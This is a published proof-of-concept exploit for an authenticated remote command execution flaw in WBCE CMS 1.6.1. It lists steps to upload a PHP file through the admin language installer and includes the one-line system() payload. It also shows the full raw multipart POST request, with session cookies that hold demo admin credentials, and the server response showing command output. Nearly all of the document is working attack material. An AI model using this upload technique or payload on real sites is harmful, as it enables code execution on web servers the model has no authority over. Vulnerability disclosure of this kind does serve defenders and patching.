WBCE CMS Version 1.6.1 - Remote Command Execution (Authenticated)

# Exploit Title: WBCE CMS Version : 1.6.1  Remote Command Execution
# Date: 30/11/2023
# Exploit Author: tmrswrr
# Vendor Homepage: https://wbce-cms.org/
# Software Link: https://github.com/WBCE/WBCE_CMS/archive/refs/tags/1.6.1.zip
# Version: 1.6.1
# Tested on: https://www.softaculous.com/apps/cms/WBCE_CMS

## POC:

1 ) Login with admin cred and click Add-ons
2 ) Click on Language > Install Language  > https://demos6.softaculous.com/WBCE_CMSgn4fqnl8mv/admin/languages/index.php
3 ) Upload upgrade.php > <?php echo system('id'); ?> , click install > https://demos6.softaculous.com/WBCE_CMSgn4fqnl8mv/admin/languages/install.php
4 ) You will be see id command result 

Result: 

uid=1000(soft) gid=1000(soft) groups=1000(soft) uid=1000(soft) gid=1000(soft) groups=1000(soft) 

### Post Request:

POST /WBCE_CMSgn4fqnl8mv/admin/languages/install.php HTTP/1.1
Host: demos6.softaculous.com
Cookie: _ga_YYDPZ3NXQQ=GS1.1.1701347353.1.1.1701349000.0.0.0; _ga=GA1.1.1562523898.1701347353; AEFCookies1526[aefsid]=jefkds0yos40w5jpbhl6ue9tsbo2yhiq; demo_390=%7B%22sid%22%3A390%2C%22adname%22%3A%22admin%22%2C%22adpass%22%3A%22pass%22%2C%22url%22%3A%22https%3A%5C%2F%5C%2Fdemos4.softaculous.com%5C%2FImpressPagesgwupshhfxk%22%2C%22adminurl%22%3A%22https%3A%5C%2F%5C%2Fdemos4.softaculous.com%5C%2FImpressPagesgwupshhfxk%5C%2Fadmin.php%22%2C%22dir_suffix%22%3A%22gwupshhfxk%22%7D; demo_549=%7B%22sid%22%3A549%2C%22adname%22%3A%22admin%22%2C%22adpass%22%3A%22password%22%2C%22url%22%3A%22https%3A%5C%2F%5C%2Fdemos1.softaculous.com%5C%2FBluditbybuxqthew%22%2C%22adminurl%22%3A%22https%3A%5C%2F%5C%2Fdemos1.softaculous.com%5C%2FBluditbybuxqthew%5C%2Fadmin%5C%2F%22%2C%22dir_suffix%22%3A%22bybuxqthew%22%7D; demo_643=%7B%22sid%22%3A643%2C%22adname%22%3A%22admin%22%2C%22adpass%22%3A%22password%22%2C%22url%22%3A%22https%3A%5C%2F%5C%2Fdemos6.softaculous.com%5C%2FWBCE_CMSgn4fqnl8mv%22%2C%22adminurl%22%3A%22https%3A%5C%2F%5C%2Fdemos6.softaculous.com%5C%2FWBCE_CMSgn4fqnl8mv%5C%2Fadmin%22%2C%22dir_suffix%22%3A%22gn4fqnl8mv%22%7D; phpsessid-5505-sid=576d8b8dd92f6cabe3a235cb359c9b34; WBCELastConnectJS=1701349503; stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://demos6.softaculous.com/WBCE_CMSgn4fqnl8mv/admin/languages/index.php
Content-Type: multipart/form-data; boundary=---------------------------86020911415982314764024459
Content-Length: 522
Origin: https://demos6.softaculous.com
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------86020911415982314764024459
Content-Disposition: form-data; name="formtoken"

5d3c9cef-003aaa0a62e1196ebda16a7aab9a0cf881b9370c
-----------------------------86020911415982314764024459
Content-Disposition: form-data; name="userfile"; filename="upgrade.php"
Content-Type: application/x-php

<?php echo system('id'); ?>

-----------------------------86020911415982314764024459
Content-Disposition: form-data; name="submit"


-----------------------------86020911415982314764024459--

### Response : 

<!-- ################### Up from here: Original Code from original template ########### -->

<!-- senseless positioning-table: needed for old modules which base on class td.content -->
<div class="row" style="overflow:visible">
<div class="fg12">
<table id="former_positioning_table">
<tr>
    <td class="content">
uid=1000(soft) gid=1000(soft) groups=1000(soft)
uid=1000(soft) gid=1000(soft) groups=1000(soft)
    <div class="top alertbox_error fg12 error-box">
        <i class=" fa fa-2x fa-warning signal"></i>

                    <p>Invalid WBCE CMS language file. Please check the text file.</p>
        
                    <p><a href="index.php" class="button">Back